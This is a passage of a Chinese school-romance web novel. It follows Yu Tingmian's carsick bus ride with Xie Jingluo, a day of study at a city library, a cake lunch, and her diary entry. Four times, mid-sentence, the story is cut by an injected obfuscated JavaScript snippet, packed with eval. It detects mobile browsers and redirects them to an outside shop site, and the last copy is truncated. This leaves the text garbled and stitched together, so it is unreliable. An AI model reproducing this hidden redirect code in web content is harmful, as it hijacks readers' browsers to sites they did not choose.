于听眠掀开被子下床,她懒得开灯,趿拉着拖鞋走到书柜前蹲下身开始在底下的那几排书籍里翻找起来。 《飞鸟集》、《莎士比亚十四行诗》、《小故事》…… 一排一排往下找去,结果还真给她在最后一排的角落里翻出了一本有少许积灰的,封面花花绿绿印着森林木屋的书。 居然还在? 于听眠有些惊讶,这本童话书挺久之前买的了,当时还挺流行,她也买了一本来翻阅,但搬家那段时间前前后后淘汰掉了不少用不上的东西,没想到这本书倒是留了下来。 于听眠抖了抖附在书上的灰,又仔细擦了擦书皮,带着它回到了床上。她将床头灯调亮,然后把玩偶熊放倒枕在脑后,调整了个舒服的姿势后再次打开了这本许久不曾回忆过的童话。 秒针滴答滴答响,时间在沙沙的翻书声中悄悄被翻过,柔和的灯光给这小小的一片乐土镀上了一层暖黄,温柔又安宁。她哼着歌儿轻轻翻着,翻过了南瓜变成马车,鸟儿唱着歌,翻过了王子公主在一起后幸福又快乐。 夜色渐浓,月光透过窗帘的缝隙悄然在屋里留下些许斑驳的阴影,轻哼声不知何时已然停下,书籍落在一旁,床上的人儿睡颜静谧温和,嘴角隐约带有一丝笑意,似乎在做一个无与伦比的美梦。 早上七点半,兢兢业业的闹钟准时响起,但与以往不同的是,原本要响五分钟的时间今天却只响了一秒就被按停了。 于听眠有生之年难得一见的比闹钟起得早,此刻正双手交叠在胸前,面容严肃,但细看就能发现她脸上多了一抹可疑的绯红。 她是被自己的梦吓醒的。 这原本是一个很美妙的梦,她梦见自己长出了一双巨大的、羽毛柔软而洁白的翅膀,从此以后上学再也不用早起步行,只需一分钟就能从家里飞到学校,她非常高兴,迫不及待就使用了自己的翅膀飞到了学校。 来到学校后,她惊喜的发现还有另外一个人和她一样也有翅膀,那个人就是谢惊洛。 因为有着同样的特征,两人的接触逐渐多了起来,慢慢地,他们彼此喜欢上了对方,他们扇动着灵巧的翅膀一同在天空遨游,穿过山脉,穿过海浪,仗着有翅膀兜底在悬崖上自由落体…… 坠落感太过强烈,于听眠一个激灵被吓醒了。 于听眠:“……” 好诡异。 尤其是被吓醒后看了一眼闹钟发现离响铃还有五分钟于听眠更是觉得自己亏大了。 于听眠用力甩了甩脑袋把那些奇奇怪怪的画面全部甩出去,眼角余光瞟见了摊在一旁的童话书,伸手将其捡了起来,盯着封面看了几秒后她觉得喜欢谢惊洛会梦到他是自己的问题,但能长翅膀在天上飞来飞去肯定是这本书的问题。 于是她又把书塞回了书柜最底层的角落继续吃灰,完全不反思明明是自己心怀不轨却迁怒一本书的离谱行为。 于听眠揉着眼睛拉开房门,在餐厅吃着早餐的付向晓听见动静诧异地往她的方向看了过来:“起那么早?吃错药了?” 于听眠:“……” 她没好气地回道:“干嘛呀,我早起很奇怪吗?” 付向晓悠悠地喝了一口牛奶:“反正搬到这里来后没见过你在非上学时间早于九点起床。” 于听眠:“……” “哦,不对。”付向晓放下牛奶,想了想,严谨地补了一刀:“没搬到这里来之前也几乎没见过。” 于听眠:“……” 行吧,无法反驳。 于听眠整理完毕换好衣服来到餐桌前坐下,付向晓看着她人模人样的装扮好奇开口:“今天是有什么活动吗?” 于听眠今天穿了一件纯白的衬衫,搭配了一条及膝的灰色条纹百褶裙,马尾在脑后高高束起,额前散落了几缕碎发,洋溢着掩盖不住的青春气息。 她就近找了个位置坐下,拿起筷子夹了个包子,道:“今天和同学约好了去市区图书馆自习。” 说完,她对着包子光滑的外皮咬了一口。 哦吼,还是她最喜欢的鲜肉馅。 于听眠想起了之前唐思雨给她吃的包子,对比了一下哪个更好吃。 然后她发现选不出来,是肉馅的她都喜欢吃。 付向晓听完没再说什么,只是点了点头,随后嘱咐了两句:“这好像是你第一次去市区图书馆,路上小心点。” “知道啦。” 今日春和景明,微风拂面,是个好日子。 于听眠背着黑色小背包出了门,朝公交站走去,一路上的心情除了雀跃紧张还掺杂着一丝诡异的不安。 雀跃是因为刚出门精神状态还很好,紧张是因为等会儿会见到谢惊洛,还要把笔还给人家,那那点不安是什么东西? 她琢磨了一路琢磨到了公交站也没琢磨出个所以然来。 于听眠出门得早,家离公交站又近,反而是四个人中最早到的,她四下看了看没找到同伴的身影,便在公交站前供人歇息的长椅上坐了下来,双手撑在身旁,张望着远处的方向猜测下一个出现的小伙伴会是谁。 她自顾着前方,却忽略了身后一道挺拔的身影悄然而至。 “早上好啊,于听眠同学。” 那算得上是熟悉的气息又一次占据了于听眠面前的方寸之地。 她侧过头,看见了站在自己身后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059410|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年,抬眼看去,却发现少年此刻正低着头看着自己,两人的视线在这狭小的空间里有一刻的交汇,她看见他戴了一个黑色的口罩,看不见他真实的表情,但眉眼间弯弯的弧度无一不是在说他是笑着的。 本无实质的视线似乎在一瞬间带上了温度,于听眠莫名觉得心脏被烫了一下,在异常地发热。 她怔了一下,连忙错开了视线,有些慌乱地站起身,稍稍垂眸不敢再看他的眼睛,只眼观鼻鼻观心视线落在了他的口罩上。 …… 等等—— 口罩?! 我去!!! 此时此刻于听眠终于清楚那点诡异的不安感到底是从何而来了——她出门前居然忘记带口罩了!!! 不要哇—— 没有口罩她会死在公交车上的—— “嗯……早上好啊。” 即便于听眠内心已经扭曲成了世界名画,但面上还是保持着基本的体面回应了对方,同时目光四处搜寻着有没有能刷新口罩的地方。 好消息:周围没有便利店但是不远处有一个报邗亭,有一定的几率能刷新口罩。 坏消息:没开门。 于听眠:“……” 不要哇——几点钟了还不开门这么消极营业是赚不到钱的—— 毫无动静。 天要亡她。 罢了。 于听眠放弃挣扎在心里默默地叹了口气,紧接着开始哄自己:没事的没事的,二十几分钟很快就会过去的,两眼一闭很快就会结束的…… 叮咚—— 手机响了。 这个点谁找我? 于听眠哄到一半停了下来,一边疑惑一边在背包里翻出手机寻找声音来源。 是唐思雨的来信。 [思雨:眠眠,你出门了吗?] [小鲤鱼:我已经到公交站了,谢惊洛也到了,你们快到了吗?] [思雨:不,我们还没来,出了点小意外。] 小意外? 于听眠眉头蹙起,有些担心。 [小鲤鱼:怎么了吗?是出什么事了?] [思雨:没有没有,不是什么大事。] [思雨:就是我和秦长宇两家昨晚不是聚餐嘛,然后他吃的东西有点乱七八糟的,现在遭报应了,肚子在闹腾,正翻箱倒柜找药吃。] 原来是这样。 于听眠松了口气,不是什么大事就好。 [小鲤鱼:没事就好,那我们在公交站等你们来?] [思雨:不用不用,你和谢惊洛先过去吧,晚一点的那班车人挺多的,你们现在过去车上人没那么挤。] [思雨:秦长宇已经和谢惊洛说了,让他带着你去不怕迷路。] 啊…… 这是又要和谢惊洛独处吗?但唐思雨不在她在谢惊洛面前会僵硬成僵尸的啊—— 于听眠捏了捏手机,抬头看了一眼站在自己身旁的谢惊洛,发现他正把手机收起来,显然是已经和秦长宇交流完毕。 远处有一辆公交车在匀速地朝站台驶来,正好是他们要乘坐的那一辆。 “走吗?”谢惊洛看着她说。 于听眠:“……走。” 她深吸一口气,平复一下内心那股不断升腾的紧张感的同时再感受一下新鲜空气,然后低下头打字回复: [小鲤鱼:好,那我们先过去了。] 13. 黑色口罩 乘坐这一班车的人确实不多,但也不能一股脑地挤上去,大家都在有条不紊地排队上车。 谢惊洛原先站在于听眠前方一点的位置,却在排队时让了她一步,排在了她后面。 于听眠受宠若惊,双手有些局促地捏紧了书包带,好在是背对着他的,她不需要刻意去掩饰面上不自然的神情。 不行不行,于听眠你别慌,你要优雅一点。 她开始给自己洗脑。 终于轮到于听眠上车,她刚一脚踏上台阶,一股公交车独有的空调气味铺天盖地地向她袭来,于听眠没绷住呼吸,销魂的味道霎时间直冲脑门,简直是要把她的天灵盖都掀飞。 味道比她想象的还要难以接受,只是上车投币这短短的几个呼吸之间,她就感觉到胃里隐隐有了翻江倒海的趋势。 于听眠强忍着不适放轻了呼吸,此时的她早已没了面对谢惊洛时的局促感,满脑子只想快些找个位置坐下好缓解胃里那阵越来越翻涌的难受。 好在她还没有完全失去理智,还记得他们是两个人来的,找位置的时候还知道找了个双人座。 于听眠坐进去了里面靠窗的位置,谢惊洛顺势在她身旁落座。 车上的人不算多,零零散散的还剩了好些个空位,宽敞又安静。 她知道现在是个和谢惊洛交流的好时机,二十分钟左右的车程,换在平时根本不会有那么多和他独处的时间,也几乎没有和他单独说话的机会,而现在天时地利人和,这种时候就应该好好聊聊各自的理想,从诗词歌赋聊到人生哲学。 但事实是给她机会她也中用不起来。 比起跟对方聊诗词歌赋和人生哲学,她现在更多的是在思考把塑料袋套头上隔绝气味的可能性。 然后她觉得就算吐了都比这个更体面一些,于是作罢。 她另寻他法,歪头将脑袋靠在车窗上,试图靠着些什么东西缓解身体上的不适。结果脑袋刚一触上车窗就被震得咚咚响,震得她脑子疼还不如不靠。 “唉……” 于听眠长长地叹了口气,动了动身子换了个姿势,闭上双眼眉头紧蹙地靠在椅背上,心底抑制不住地腾起一股焦躁,全然忘记了还想在谢惊洛面前保持优雅的事,现在只想着怎么能让自己好受一点就怎么来。 沙沙…… 有种类似于塑料材质的东西触上了自己的手臂,只是轻轻的一下,像是无意间碰到的,但于听眠还是睁开了眼睛。 她垂眸,双眼有些迷离地朝手臂看去。 一个被透明塑料袋包装着的黑色口罩横在自己眼前。 哎? 于听眠清醒了几分。 “晕车了吗?” 郎润的声音如同清流划过耳畔,带着凉意缓缓没入心底,顷刻间压抑住了不断翻腾的焦躁。 于听眠抬头看他,有些失神。 谢惊洛将口罩递到她手边,等她握住:“带上这个吧,会好受一些。” “啊……好的。”于听眠愣愣地接过了口罩撕开包装戴在了脸上。 待口罩过滤掉了车内令人不适的气体,于听眠终于活了过来。 她慢半拍地发现好像还没有和谢惊洛道谢。 “那个……谢谢你。”过了那么久才道谢总感觉有些怪怪的,连着声音都带上了点别扭。 “不用谢。”谢惊洛见她缓了过来,笑了笑轻声道:“还需要一段时间才能下车,如果还是难受的话可以睡一会儿,到站了叫你。” 于听眠点了一下头:“好。” 她慢慢闭上了眼睛,脸侧向了窗外没敢面对他。戴上口罩后身体舒服了数倍,再熬一段时间就能下车。 于听眠看着窗外的景色飞速向后掠过,戴了口罩只是阻隔了气味勉强压抑住了胃里翻腾想吐的感觉,但脑子还是发晕的,此时小憩一会儿养养精神会是一个很好的选择。 可她却是睡不着了。 就这么半睁着眼睛看着外边的景色换了一轮又一轮,直到到站的提示音响起,于听眠把出窍在空中飘来飘去的灵魂拽了回来,猛地一下站起身跟在谢惊洛身后下了车。 双脚重新站上大地还有些发软,于听眠摘掉口罩深深吸了一口新鲜空气,觉得自己感慨万千可以当场著一篇《活着》。 “感觉还好吗?”谢惊洛看着她略显苍白的脸色不太放心,“要是还是很难受的话可以先坐会儿。” “唔……不用,现在好多了。”于听眠摇头,觉得自己还没到走不了路需要坐下休息的地步,更何况这还要麻烦谢惊洛等自己。 “没关系,走两步路就不晕了,不用担心,我们走吧。” 谢惊洛没强求于听眠坐下,但也没回她的话,他看着于听眠说话时有些失色的嘴唇,蹙了蹙眉道:“等我一会儿。” 说完他转身朝不远处的报邗亭走去。 这个报邗亭倒是开门了。 这钱还得是它赚。 她看着谢惊洛在报邗亭面前停留,不久后便原路折返回来,手上多了一瓶矿泉水。 谢惊洛走到于听眠面前,将手中的水拧开瓶盖递了过去:“喝口水缓缓?” “好。” 于听眠没有推脱,她现在确实想喝口水压一压蠢蠢欲动想要造反的胃。 于听眠伸手想要接过谢惊洛手中的水瓶,却因为瓶身太细,手指不可避免地触碰到了谢惊洛的手。 她惊了一下,手指如同触电般蜷了蜷。 “怎么了?” “……没什么”于听眠做贼心虚般摇了摇头,唯恐对方察觉到什么,飞快接过水瓶仰头喝了一大口。 清凉的液体涌入口腔划过喉头,连带着大脑也清明了不少,她重重呼出一口浊气,终于是缓了过来。 想到这一路上几乎都是谢惊洛在照顾自己,于听眠有些不好意思地顺了一下马尾,顺便借着这个动作检查了一下发型有没有变得乱七八糟,“谢谢你,那个……这瓶水多少钱我还给你。” “没关系,你喝吧。”谢惊洛轻轻摇头,拒绝了于听眠的提议,“没事了就好。” “嗯……好吧。”人家不要于听眠也没强给,只是盘算着下次有机会再请回去。 公交站离图书馆不远,往前走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059411|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几步路再过一个拐角就能看见一座恢宏大气的长方体建筑物。 于听眠稍稍惊讶了下,眼前的建筑物比她想象的大了不少,光是出口就分了东南西北四个门,要是走散了一时半会儿大概是找不着人的。 虽然觉得自己的注意力还不至于差到能让那么大个人从眼皮子底下走散,但以防万一,她身体还是很诚实地走快了两步拉近了和谢惊洛之间的距离。 “稍等一下。” 刚靠过去就听见谢惊洛开口,她顿时停住了脚步乖乖站在原地,虽然不解谢惊洛为什么让她稍等但照做。 她看见谢惊洛走向前台和工作人员说了些什么,隔得有点远没听清,只看见三言两语后工作人员交了个牌子给对方。 谢惊洛接过牌子朝于听眠走来,金属质感的小牌子拴了个挂圈被他随意地勾在手指上,随着他的动作摇摇晃晃之下隐约能看到上面刻着几个数字。 好像是……308? “好了,拿到了,我们走吧。” “?” 不是很懂,但听他的就对了。 直到于听眠跟着他走到一扇房门前,她才知道那个小金属牌子上面刻着的数字是这间房的房门号。 这不就等于……独立自习室? 于听眠:哇哦—— 看起来好厉害的样子。 推开门进去,里面的空间比她想的还要大一些,靠近门口这一边摆放着一张圆形的大桌子,能容纳六七个人同时落座,而另一边则并列摆放了好几排书柜,里面摆满了各种常见的学习书籍,门口旁的墙壁上还挂了个圆形的时钟。 谢惊洛先行拉开一张椅子坐下,拿出手机看了一眼,而后对于听眠道:“先坐吧,他们俩在来的路上了,很快就能到。” 于听眠却对着座位犯了难。 如果这张桌子是一个放大的时钟,那谢惊洛所坐的位置就是十二点钟的方向,和在公交车上晕得七荤八素没空管其他的状态不同,现在她清醒着,莫名其妙冒出了一些害羞的情绪,不太好意思挨着人家坐在三点钟和九点钟的方向,但同时又觉得坐在六点钟方向的行为不仅看着很刻意还挺有病,等秦长宇和唐思雨来了还要分开坐两边,总不能全挤在同一边。 挣扎了半响,她终究还是抱着紧张忐忑还有一丝激动的心情坐在了三点钟的位置上。 她规规矩矩地从背包里拿出了学习资料和笔袋放在桌面上,然后端端正正地拉开了笔袋准备像挑选后宫一样挑只顺眼的笔宠幸一番。 下一秒她就看见了那只低调奢华的黑笔正大咧咧的躺在众笔最上方。 于听眠:“……” 如果不是拉开笔袋她差点都忘了别人的后宫……不对,是别人的笔还在自己手上。 于听眠伸手拿起黑笔,偏过头看了一眼。 她看见谢惊洛已经摊开了一本习题册,正垂眸专注地看着题目,手指卷着细长的笔身熟练地转动着,如鸦羽般的睫毛纤长而密集,一上一下扑扇着好似轻柔的蝶翼,温柔又缱绻。 她一时失神,突兀地开了口: “谢惊洛。” 14. 芒果和草莓 清晰的字音从口中念出,于听眠自己都愣了一下。 她忽然间发现,这好像是自己第一次当着他的面喊他的名字。 “嗯?” 谢惊洛抬眼看来。 于听眠连忙将手中的笔推了过去,低着头,视线落在黑笔上,有些心虚:“那什么,这支笔还给你,我也不知道我怎么就那么顺手拿走了,不好意思……” 说完,于听眠没好意思看他,只是视野中多出来一只修长匀称骨节分明的手将黑笔拿走。 她正要抬头,却听到一道似有似无的轻笑声自上方落下。 轻的像是绒羽在她耳边勾了勾,力道不重却酥麻了耳畔,极为致命。 效果显著的,只是一瞬间她就感觉到自己的脸颊在快速升温发烫,内心尖叫成了一壶沸腾的开水,脸红没红不知道,包里有小镜子她也不敢看。 于听眠:“……” 啊啊啊啊啊啊啊—— 思雨你在哪里?!快来救救我救救我救救我—— 再和谢惊洛独处下去她就招架不住了—— 好在唐思雨在玄学之下听到了她的呼唤,她才在心里呐喊完房间的大门就被人从外推开。 “不好意思不好意思,我们来迟了……呃……” 刚踏进门的唐思雨不是很理解为什么于听眠会用一种惊喜、感激、还带着点怨念的眼神看着自己。 唐思雨径直走到于听眠身边的的位置坐下,正放下东西,眼角余光就看见于听眠悄悄挪着椅子往自己身边靠了靠。 唐思雨:“……” 这孩子今天怎么回事?这么粘自己。 唐思雨看不懂她的眼神也看不懂她的行为,她细细打量着于听眠木着的一张脸,试图从她脸上看出些许端倪来。 …… 好吧什么也看不出来。 罢了,权当是一日不见如隔三秋。 一路上波折虽多,但总归还是记得来这里的目的,相互寒暄一番过后自习室内只剩“沙沙”的书写声以及时不时的翻阅声。 于听眠在折腾一张数学卷子。 刚开始写题时她还很注意自己的坐姿,把幼儿园老师教的什么眼睛距离书本一尺远,身体距离桌子一拳远全用上了。 唐思雨:“你在做什么?” 于听眠:“追忆往昔。” 唐思雨:“……” 还是没懂。 然而没多久她就放弃了形象管理,毕竟数学题这种东西谁写谁发疯,于听眠也快被一道算满了三页草稿纸也没能得出结果的几何题目搞疯了。 她左手支着额头撑在桌面上,皱着眉头又一次把得出的结果划掉,一副苦大仇深的模样。 她不知道正确答案是什么,但反正锐角不能是九十五度。 多次计算无果后,她决定转换思维方式—— 她要去求助外援。 于听眠伸出一根手指轻轻地戳了戳唐思雨的胳膊。 唐思雨扭头看她:“怎么了?” 于听眠将手中的卷子推了过去,手指点了点那道题:“这道题我算了三遍都没算对,你帮我看看?” 唐思雨顺着于听眠的手指看去,发现是道几何题后小脸跟吃了柠檬一样皱了起来。她的空间想象能力不行,立体几何一直是她的弱项,极容易把各种角度数据搞混,但于听眠都发问了,她觉得自己高低也得试着算一下。 “我试一下,但这类题目一直是我的弱项,不一定能算出来。” “好。” 二十分钟后,两人看着草稿纸上圈出来的答案面面相觑。 于听眠眨了眨眼睛:“这锐角一定要是钝角吗?” 唐思雨一脸高深莫测:“有时候我们不能只从自己身上找原因。” 于听眠:“已经到了要质疑出题人的地步了?” 唐思雨:“我看行。” 出题人到底是无辜的,两人再次对着题目叽里呱啦讨论一番无果后终于想起来有个全自动的解题机在旁边。 两人凑过去时,谢惊洛正在写一篇英语作文。于听眠无意中扫了一眼,发现他的英文字体也同汉字一般赏心悦目。 谢惊洛接过卷子看了看,片刻后用笔点了点于听眠画的某一条辅助线:“这条辅助线画得有点问题,可以在这两个点之间建立一条辅助线……” 谢惊洛讲题的方式简单明了,循循善诱,三两语就能指出问题所在,于听眠稍加思考就明白了解题的关键。 “我可以圈一下你的卷子吗?用铅笔。”谢惊洛换了支铅笔询问于听眠的意见。 “啊?哦哦……可以的。” 于听眠点点头,看着谢惊洛在几个地方圈了一下然后写下了几条公式。 他将卷子递还给于听眠:“你可以按照这个思路回去重新算一遍,如果还有不明白的可以再过来问我。” “好。” 两人回到位置上照着谢惊洛提供的方法再次计算了一遍,于听眠看着草稿纸上终于属于锐角的度数满意地勾了勾嘴角,转头一看唐思雨也放下了笔。 于听眠:“你算出多少?” 唐思雨:“你先说。” 于听眠:“那一起说吧。” 唐思雨:“行。” 两人同时向对方展示了自己的答案,是意料之内的一模一样的答案。 以防万一,于听眠又翻出了和试卷配套的标准答案对比了一番,结果准确无误。 “终于对了。”于听眠不禁发出一段感慨,“或许这就是数学的魅力所在吧,在千辛万苦攻克一道难题后,就会收获无与伦比的满足感。” 唐思雨:“……” 是……吗?她怎么一点都感觉不到?她只觉得学数学就像轻舟已过万重山,后面还有一山又一山。 唐思雨认真质疑:“真的吗?” 于听眠认真回答:“当然是假的,这种话说说就算了。” 唐思雨:“……” 她就说这孩子今天不正常。 四人今天一整天都泡在了自习室里,除了中午饭点的时间出去找了点吃的。 说起来有意思的是,另外三个人各有各想吃的,于听眠不挑,什么垃圾都能啃两口,就在一旁静静地看着他们选,最后他们选择抽签决定吃什么。 秦长宇觉得三个人不够刺激,让于听眠也想了个食物混在一起抽。 于听眠思考半天没能想出什么特别想吃的,就随手写了个蛋糕上去。 四张纸条被搓成一团混在一起,秦长宇对着手心哈了口气,拎出了一个纸团打开一看——在火锅拉面和茶点前,蛋糕这个选项显得格格不入。 于听眠:“……” 三个想吃的都没抽到,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059412|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随便写的就被抽到了。 买彩票怎么没见她有这个运气? 不能让所有人满意但能让所有人都不满意是吧? “呃……”她抿唇,讪讪笑了下,想说要不要重新抽过。 谢惊洛看了眼纸条上的食物:“蛋糕?附近有家蛋糕店味道挺不错的。” “真的?那你带路。”秦长宇笑着对唐思雨和于听眠说:“跟着他吃就对了,能让这家伙说味道不错的东西指定好吃。” 然后于听眠得到了一份芒果蛋糕,满满的芒果夹心看着就喜人。 她又看了一下另外三个人的蛋糕,秦长宇的是巧克力蛋糕,唐思雨要了板栗仁蛋糕,谢惊洛和自己一样是水果蛋糕,不同的是他的是草莓夹心,只在最上面插了两片芒果作装饰用。 她看见谢惊洛打开了蛋糕的包装盒,然后把那两片芒果单独挑了出来放到一旁。 于听眠忽然意识到了什么。 蛋糕和谢惊洛说的一样,味道确实不错,但于听眠总觉得其中少了一点滋味。 回图书馆的路上,于听眠悄悄问唐思雨:“谢惊洛是不是不喜欢吃芒果啊?” “是啊。”唐思雨点头,“秦长宇说他一口芒果都不吃的,也不是过敏不能吃,就是单纯不喜欢吃。” 于听眠默了默:“……这样啊。” 唐思雨觉得她的反应有些不对:“怎么了吗?” “没什么。”于听眠摇头,“有点可惜,我觉得芒果超好吃的。” 唐思雨也赞成芒果好吃这个说法:“是啊,我也觉得芒果好吃,但没办法,人家不喜欢也强求不了。” “……嗯,也是。” 下午四点,到了该回家吃饭的时间,在收拾东西途中,谢惊洛出门接了个电话,回来时于听眠明显感觉到他的心情变得有些不虞。 时常面带笑意温和明朗的人气场骤然冷了下来,如此明显的变化任谁都无法忽视。 于听眠能感觉到另外两人自然也能感觉到,一时间谁都没有说话,房间内有片刻的沉默。 谢惊洛闭了眼捏了捏眉心,再次睁开眼时面上的不虞之色褪去了许多:“抱歉,大概不能和你们一起回去了。” 秦长宇同他玩得久,几乎是瞬间明白了他的意思:“你要回去那边一趟?” “嗯。” “魏叔来接你?什么时候来?” “在路上,应该快了。” “这也太突然了,是你爸回来了?” “对。” “好吧。”秦长宇没再多说什么,只是拍了拍他的肩:“到了给哥们发个消息。” 他笑了笑道:“行,下次请你们吃饭。” 于听眠很担心谢惊洛如今的状态,但她知道自己帮不上什么忙,这种半生不熟的关系好像连关心的话都显得有些突兀,尤其是她根本不知道发生了什么,而谢惊洛也并不打算与他人言。 她连安慰的理由都没有。 于听眠他们回程的公交车先一步到来,谢惊洛看着他们上车。 车门关闭前于听眠不太放心回头看了一眼,透过车门她看见他有些漫不经意地倚靠在电线杆上。 感受到她的视线,谢惊洛笑着说了句什么,离得太远于听眠没听见,但通过他的口型她还是认出了那句话。 他说: “路上小心。” 15. 早会 依旧幸运的是,车上还有一些空位,这回于听眠和唐思雨坐在一起,秦长宇坐在她们后面一排。 于听眠戴着口罩闭着眼睛靠着椅背昏昏欲睡,听着唐思雨和秦长宇聊一些有的没的助眠。 聊着聊着,他们聊到了刚刚发生的那件事。 唐思雨:“哎,你说谢惊洛星期一能回来吗?” 秦长宇不以为意:“能吧,云城离南城也不是很远,他今天回去明天回来星期一上课,完美。” 说者无心听者有意,在听到某个字词时,于听眠缓缓睁开了眼睛。 南城。 脑海深处的记忆翻涌而来,她又一次想起了一年前雨天的那场短暂的同行。 难怪她多次找寻无果,原来他只是短暂地在那个城市停留了片刻,而她却像走进了没有尽头的莫比乌斯环,很久也没能绕出来。 2013年9月6日 天气:晴 救命! 好晕好晕好晕好晕好晕。 都吃完晚饭一个小时了,还是觉得好晕,好久没坐过后劲这么大的公交车了,所以人到底为什么会晕车呢?世界上不晕车的人那么多,多我一个怎么啦? 真是讨厌(?`⊿′)? 在此特别鸣谢谢惊洛同学赞助的黑色口罩一个,多亏了他我才没能吐在车上,我优雅从容的形象终究还是保住了(大概?)。 总之今天的图书馆之行姑且看来还算顺利,笔……呃……也是还回去了。 啊啊啊啊啊啊啊啊—— 和谢惊洛独处真的很难啊,明明人家什么也没说就是笑了一下,我独自在那里紧张个什么劲啊?如果不是思雨来了我都不知道要说点什么好。 每天都要唾弃自己一遍没出息。 …… 可是谢惊洛真的好好看哎,尤其是那双眼睛,每次看到那双眼睛总感觉里面装着星海,亮晶晶的。 不过话又说回来了,谢惊洛的脑子到底是怎么长的?为什么他能一眼看出解题的关键,而我能把锐角算成钝角的度数? 我不理解。 讲真的,如果我是植物大战僵尸里面的僵尸,谢惊洛这种脑子我高低得啃一个尝尝咸淡。 嘿嘿。 对了,中午吃的小蛋糕也好好吃,哇塞——它居然有满满的双层芒果夹心哎!! 我宣布——芒果是这个世界上最最最好吃的水果—— 芒果之神在上,您的信徒于听眠将永远追随着您。 …… 可惜谢惊洛好像不喜欢吃芒果……他好像更喜欢吃草莓,就连装饰用的那两片芒果他都单独挑出来了。 好可惜……我不能把自己最喜欢的东西分享给他了,人家不喜欢吃芒果如果我还要硬塞给他那多冒昧啊。 那下次或许可以和他分享草莓? 哦,对了,还有个小插曲。最后准备回家的时候,谢惊洛出门接了个电话,回来变得不太开心,听他和秦长宇的对话好像是因为家里的事情,可惜帮不上什么忙。 除此之外,我好像知道了为什么当初在南城怎么也找不到谢惊洛了。 唉…… 当初找了那么久,怎么就没想过他只是短暂地从这个城市经过呢? 星期一早上于听眠来到教室,习惯性地朝谢惊洛的座位看了一眼。 人还没来。 “眠眠快来——”唐思雨已经坐在了位置上,见人进教室她抬手晃了晃打招呼。 于听眠走过去放下东西,一坐下就看见唐思雨递了几张小卡片过来。 于听眠仔细一看,发现是几张英语单词卡片。 她疑惑:“这是?” 给她这个干嘛? “给你待会儿早会上消遣用的,今天早上要开开学典礼,要站好久,你可以拿这个去背背单词打发时间。”唐思雨有点儿没睡醒,打了个哈欠,开始骂骂咧咧,“神经病明明该上周开的开学典礼拖到现在开,你说学校是不是有病,本来周一早上就困。” 于听眠赞同:“既视感很强,腿已经开始幻痛了。” 于听眠拿起桌上的小卡片瞧了瞧,挑选了几张放进校服口袋里准备等会儿带下去。她抬头看了一眼时间,离早会集合铃响还有好几分钟。 嗯…… 她拿起水杯喝了口水润了润嗓子,装作不经意的问:“好像没看到谢惊洛,他还没有回来吗?” 唐思雨:“哦,他啊,回来了,昨天晚上就回来了,给秦长宇发信息让他等他一起来学校,所以他俩今天就继续踩点了。” 于听眠:“……” 好吧。 熟悉的早会铃声响起,唐思雨瞬间发出哀嚎:“嗷呜呜呜——我不想去啊——我能不能和老梁说我腿不小心崴了站不动啊?” 于听眠眼神怜惜地看着她:“好啦,大白天的就不要做梦了。” 唐思雨试图挣扎:“真的非去不可吗?一站就要站一个小时好累的……” 于听眠:“你不是消遣用的小卡片都备好了吗?我还以为你已经做好准备了。” 唐思雨:“做好心理准备和接受现实是两回事嘛。” 于听眠:“……” 行吧。 最终唐思雨还是被于听眠连拖带拽地拉到了操场,等两人找到自己班级的位置,却发现那片区域只有寥寥几人在排队。 于听眠:? 走错班级了?人呢? 唐思雨抬了抬下巴示意她往后看。 于听眠顺着看过去,看见了一堆人挤在队伍后排窝成一团,和前面排队的几个人拉开了一大段距离。 于听眠:“……” 中间这段地埋地雷了? 唐思雨倒是习以为常:“正常的,大家都不想站在前面听领导在上面废话,站远一点还能集中注意力背背单词记记公式什么的,等老梁过来他们就老实了。” 于听眠:“……说的也是,那我们站哪儿?” 唐思雨:“都行,你想站前面还是想站后面?” 于听眠:“唔……前面吧,后面看着怪挤的。” 唐思雨:“行。” 例行的升旗仪式过后,早会正式开始。 领导在台上讲得抑扬顿挫感慨激情,颇有一种要把繁琐碎事讲出事关人类生死存亡的气势来。于听眠原本挺精神的,硬生生听困了,她活动了一下站的太久有点麻的腿,掏出口袋里的小卡片开始记单词。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 